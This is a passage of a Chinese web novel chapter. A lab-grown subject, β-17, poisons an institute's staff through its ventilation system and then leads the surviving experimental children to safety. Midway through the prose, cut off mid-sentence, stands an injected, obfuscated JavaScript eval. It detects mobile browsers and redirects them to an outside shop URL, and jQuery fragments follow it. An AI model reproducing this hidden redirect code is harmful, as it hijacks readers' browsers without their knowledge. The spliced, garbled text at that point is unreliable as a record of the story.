他明白了那扇窗。


    他站在窗前那么多年，凝视那片从未触碰过的雪，心里升起的那种难以界定的情绪——不是好奇，不是向往，甚至不是渴望。


    那是恐惧。


    玻璃反光里那张面无表情的脸，和窗外那片没有脚印的白，是同一种空无。


    那是对自身的映射，是未来一片空白的空无。


    他明白了艾利的三下敲击。


    那不是暗号。


    那是“有人在吗”，那是“你也在害怕吗”，那是“如果明天我不在了，至少昨晚有人敲了回来”。


    他明白了菲朵拉的“谢谢”。


    那不是礼貌。


    那是她仅有的、能证明自己和外界有关联的最后的东西。


    他明白了房律的话。


    “人生来便是无瑕的器皿，需盛满他人的期望，才能长出灵魂。”


    渴望是刀锋、是针剂、是一个个的“样本已终止”。


    ——器皿终将以碎裂和毁灭为终局。


    他明白了那些罐子。


    无数个“自己”悬浮在液体中，闭着眼睛，不再醒来。


    他曾以为自己与他们是不同的——他活着，他站在这里，他拥有“继续观察”的特权。


    可原来那不是特权。


    那是更漫长的死刑。


    他明白了自己为什么活下来。


    不是因为缺陷偏离了预测模型，不是因为神经系统的耐受阈值，不是因为房律那两秒的停留。


    他活下来，是为了记住。


    记住菲朵拉说“谢谢”时的声音，记住艾利敲三下的节奏，记住每一个在他之前被带走的人的脸。


    他活下来，是为了成为那个会回头看的人。


    他明白了那场手术。


    三个月的刀锋，六期的重塑，骨缝里撕裂般的成长——那不是催熟。


    那是剥皮。


    房律剥掉了他与那些孩子相似的脸，剥掉了他曾是其中一员的证据，把他装扮成另一个物种，好让他站在实验台边时，不再记得自己也曾躺在上面。


    可他还是记得。


    骨骼可以重塑，记忆却不行。


    他明白了房律最后的、真正的残忍。


    不是让他成为实验体，是让他成为那个亲手终结实验体的人。


    他以为自己在守护——用自己做代价，交换他们有限度的自由。


    可原来每一次他按下确认键，都是在为他们签署死亡证明。


    是这间研究所运转了这么多年，死了这么多孩子，而窗外那片雪还在下，日复一日，分秒不差。


    ——没有任何东西为死者停下来过。


    有什么东西在胸腔中疯了一样的成长。


    他站在窗前那么多年，等的从来不是看见雪。


    是有人问他：你在看什么？


    现在他知道答案了。


    他在看一个从未存在过的世界。


    那个世界里，菲朵拉长大了，会走在真正的阳光下，会对别人说“谢谢”而对方也会笑着说“不客气”。


    那个世界里，艾利还在敲他的暗号，而敲回来的人不必在第二天清晨面对空掉的舱房。


    那个世界里，罐子里的孩子们睁开眼睛，从液体中坐起，第一次呼吸到不属于培养舱的空气。


    那个世界里，有人在雪地里留下脚印，有人把雪团成球扔向同伴，有人捧起一把雪，看它在掌心化成水，再从指缝漏下去。


    那个世界里，也应有一个孩子。


    那孩子不叫β-17。


    他会有一个名字，一个被叫了就会被回应、被呼唤就会回头的名字。


    β-17转过身，向实验室走去。


    他没有回头。


    但他知道，总有一天，他会走出那扇门。


    去往那个世界。


    ……


    城建历172年。


    研究所的内部档案里，β-17的备注栏被更新过三次。


    第一次是“实验体，长期观察”。


    第二次是“研究员，特别任用”。


    第三次只有四个字：“项目负责人”。


    没有人觉得这有什么问题，也没人关心他私底下到底做了什么。


    一个被制造出来的东西，从样本架上走下来，坐进工位，操作那些曾用来标记同类的仪器——


    这是效率最大化的典范。


    房律在提到他时，语气里甚至有几分得意。


    “他比我预想的更好用。”


    β-17听到这话时正在调试一批新的基因编辑载体。


    他的手指没有停顿，眼皮没有抬起。


    他已经学会了不让自己对这些话产生任何反应。


    反应是危险的。


    反应会让你想起你还是一个人。


    而他已经很久、很久很久没有想过这个问题了。


    转折在第一代基因药剂的改良型通过临床试验的那天。


    研究所久违的开了一场庆功会，房律亲自出席，发表了简短的讲话。


    研究员们三三两两聚在一起，交谈声、笑声混成一片。


    β-17站在自己的实验区，隔着三层走廊、两道气闸和一扇消音窗，远远地听着那些声音。


    他在这里已经太久了，久到他清楚地知道每一次“重大突破”意味着什么。


    意味着新的项目，新的预算，还有新的实验体需求。


    意味着更多的编号被录入系统，更多的舱房在消毒后迎来新的住客。


    ……意味着“样本已终止”这五个字，将被打印在更多份报告上。


    他靠在窗边，看着窗外。


    是他经常看的雪景。


    这天气不错，很适合做点什么。


    接下来的一切都很安静。


    β-17拥有仅次于房律的最高权限——这权限是他辗转了数个项目组，废了大力气拿到手的。


    没人能想到他手里还藏着这么要命的东西。


    他像往常一样走过走廊，刷开一扇扇门。


    安保系统。


    通信系统。


    新风系统。


    β-17把能关的都关了。


    监控静默、门禁失效，通风换气系统切换至本地控制。


    然后他在一间小型制剂室门口停下。


    这里的门禁轻易的被他打开，他走了进去。


    架子上陈列着最近三个月的试验废品。


    失败的批次、被淘汰的配方、等待集中销毁的有毒残余……β-17不需要看标签，他记得每一瓶的位置、成分、作用机制。


    但现在用不上那些知识。


    他没有刻意挑选，只是随手拿起几瓶，打开，倒在一起。


    最终成品颜色很诡异，乌黑发红的像沉淀了十几年的淤血。


    他带着这瓶东西走向新风系统的核心机房。


    一路上遇见三个研究员。


    两个在低头看数据板，没有抬头。


    第三个看见他，下意识侧身让路。


    β-17朝他点了点头，像无数次点头那样。


    那人看了一眼他，也点了点头，走过去了。


    他甚至没有问β-17手里拿着什么。


    这就是“听话好用”的好处，你做什么都不会有人多看一眼。


    β-17站在新风系统的总控面板前，将那瓶液体倒入加湿模块的注水口。


    他的动作很轻，很稳。


    像在做一次普通的实验操作。


    然后他走出去，刷开多功能厅侧门的权限面板，将门锁模式从“常开”切换为“全封闭”。


    隔着那扇门，他能听见里面隐约的交谈声。


    有人在笑。


    有人在对房律说“恭喜”。


    他把手从面板上收回来，退后两步，靠在走廊的墙上。


    没有跑也没有离开，他只是站在那里，侧过头，等待着接下来可能会有的混乱。


    他很想知道，里面的人发现自己出不去了的时候，会发出什么样的声音。


    他等了很久。


    没有等来尖叫、没有拍门，没有桌椅翻倒、杯盏碎裂的嘈杂。


    到处都很安静，安静到他几乎以为自己关错了门。


    不过这当然不可能，回忆了一下自己拿取的药剂，他恍然。


    喔，是低估了那瓶混合液体的效率啊。


    加湿模块在几秒内就将雾化后的气体送进了通风口，多功能厅是封闭空间，没有窗户，唯一的出入口在他身后。


    所有人都睡着了，并且再也不会醒来。


    他站了很久。


    久到走廊尽头的自动照明切换了一次色温。


    然后他转过身。


    他没有再回头。


    ……


    接下来的一切快的像加速的黑白默片。


    没有声音，没有色彩，没有时间——他只是不停地走，开门，关门，蹲下身，站起来。


    他找到了他们。


    培育舱里、病房里、取样室里。


    有的缩在角落，把被子蒙过头顶。


    有的趴在窗边，玻璃上结着薄薄的雾气。


    有的刚被注射完镇静剂，躺在台子上还没有醒来。


    他把他们一个一个带出来。


    牵着手的、背着的、抱着的。


    有一个太小了，还不会走路。


    他把那孩子托在臂弯里，像托一件易碎的器皿。


    等到所有人都聚在那间空置的休息室里时，他终于停下来。


    有人问他：“你是谁？”


    也有人说：“我认识你，前两天是你给我塞了一块糖。”


    还有更多人沉默地蜷缩成一团，把下巴埋进膝盖，一言不发。


    β-17蹲下身。


    他伸出手，很轻地碰了碰一个男孩的头。


    那孩子的半张脸都是红斑，在灯光下像未愈的烫伤。


    男孩瑟缩了一下，但没有躲开。


    “你们可以叫我β-17。”他说。


    “你也是和我们一样的？”发问的是那个认出他的女孩。


    “嗯，我也是。”


    “那我怎么没见过你？”


    “因为我一直在别的房间。”他顿了顿，“做别的实验。”


    女孩咬着嘴唇，声音低下去。


    “那……你把我们都带过来，是想干什么呀？”


    她的眼睛里没有信任，只有恐惧——那种不知道接下来会发生什么、但知道大概率不会是好事的人特有的恐惧。


    β-17看着她的眼睛。


    他想起很久以前，有人问过他同样的问题。


    不是在声音里，是在眼神里。


    艾利被带走的前一晚，隔着舱壁敲了三下。


    他没有问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182586|195144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你想干什么”，他只是在等一个回应。


    于是他敲了回去。


    现在他蹲在这里，面前是十几个眼神恐惧的孩子。


    他听见自己开口。


    “别怕。”


    声音比他预想的稳。


    “我会保护你们的。”


    他不知道这句话他们信不信，但他知道，他不会让这里的任何一个人再死去了。


    他没有说更多，只是站起来，开始处理接下来的事。


    清理痕迹、重置系统、给每一间空掉的舱房打上“待消毒”的标记。


    有人需要药物、有人需要食物、有人需要一件干净的衣服。


    他一件一件去做，像过去十年做过的每一件实验操作。


    ——只是这一次，他不再是为房律，是为了自己。


    那天夜里，他把所有孩子安顿在休息室的软垫上。


    灯调暗了，有人在睡梦中抽泣了一声。


    旁边另一个看起来年龄大一些的孩子伸出手，轻轻拍了拍她的背。


    β-17坐在门边的椅子上，没有睡。


    他看着那一排蜷在垫子上的身影。


    他们看起来有大有小，有几个外表已经完全接近成年人了——宽起来的肩，长开的脸，被催熟的骨骼在皮肉下撑出不该属于这个年纪的轮廓。


    但β-17知道，他们中间最大的那个，真实年龄也不过十一岁。


    他想起了很多，又好像什么都没想。


    夜晚长的过分，他守在这里，守着一群孩子。


    而几百米外的不远处，是睡满了尸体的研究所。


    那些尸体再也不会醒来，但这些孩子会。


    那么，趁现在还有空闲，来想想以后吧。


    他需要的东西很多。


    干净的身份证明、安全的落脚点，还有足够他们活下来、活下去的钱。


    研究成果可以带走一部分，那些核心资料足够交换一些必需品。


    然后呢？然后去做什么？


    他不知道。


    有人轻轻挨着他坐下了。


    β-17侧过头，看见了一个少年。


    少年有十四五岁的外表，眉眼长开了，但坐姿还是孩子的——紧紧蜷着，把膝盖收上来，脚不敢落地。


    他没睡着。


    β-17开口：“你……”


    少年没有看他。


    “我想问你一个问题。”


    β-17示意他说。


    少年垂下眼睛，攥住了β-17的衣角。


    他说：“我有一些‘本体’的记忆。”


    “那些记忆告诉我，外面虽然叫‘新世界’，却不是什么美好的伊甸园。”


    “你带我们出去是得不到半点好处的……所以你到底想干什么？”


    “我不知道。”他说。


    少年猛地抬起眼睛。


    β-17没有躲开他的注视。


    “我不知道之后要做什么，”他说，“不知道外面有没有我们能去的地方，不知道能不能让大家一起活下去……但我会努力去想的。”


    直到想到为止。


    少年看着他。


    那双眼睛里有太多东西。困惑。警惕。还有藏不住的仓皇和迷茫——它们被压在最底下，压了很久，此刻正顺着裂隙一点点渗出来。


    “……那如果你一直都想不到呢。”


    β-17说：“那我们就一起想。”


    少年攥着他衣角的手指慢慢松开了一点，但也没有完全放开，只是不那么用力了。


    他别扭的扭过头，不去看β-17。


    “那就再给你一晚上的时间，要是想不到，那就明天大家一起。”


    β-17看着他倔强的侧脸，然后笑了一下。


    很轻、很短，像落在玻璃上的一粒雪，停了一瞬便化了。


    他说：“好。”


    第二天，孩子们陆陆续续醒来，β-17还坐在那张椅子上，看着他们互帮互助的打理自己。


    等所有人都收拾好后，β-17开口：“都过来一下。”


    他的声音不大，但所有人都听见了。


    孩子们互相看了看，然后，一个接一个，他们向他聚拢过来。


    他们围成一圈。


    “我们需要一些东西。”β-17说。


    他讲得很慢，他把那些庞大的、令人恐惧的概念拆成一小块一小块，像拆一台他做过千百次的实验。


    孩子们安静地听着，等他讲完后，有人先开口了。


    “我们需要做什么？”


    随后是越来越多的人在说话。


    他们在问：“我可以做什么”、“我能帮上忙吗”。


    他们不知道前路在哪里，但是他们愿意相信他。


    β-17微微吸了口气，他感觉到自己的胸腔里有什么东西在颤动。


    不是痛苦，也不是空洞。


    那是一种从未出现过的、陌生的震颤。


    就像一只冰封了十年的茧，在春天来临的时候，从最深处裂开一道缝。


    他不知道那是什么，但他知道，从这一刻起，他有事要做了。


    他要让这些孩子活下去，在真正的阳光和风雪中，幸福而快乐的活着。


    要加油啊，β-17。


    他在心里对自己说。


    然后他站起来，走向那一圈等他开口的孩子们。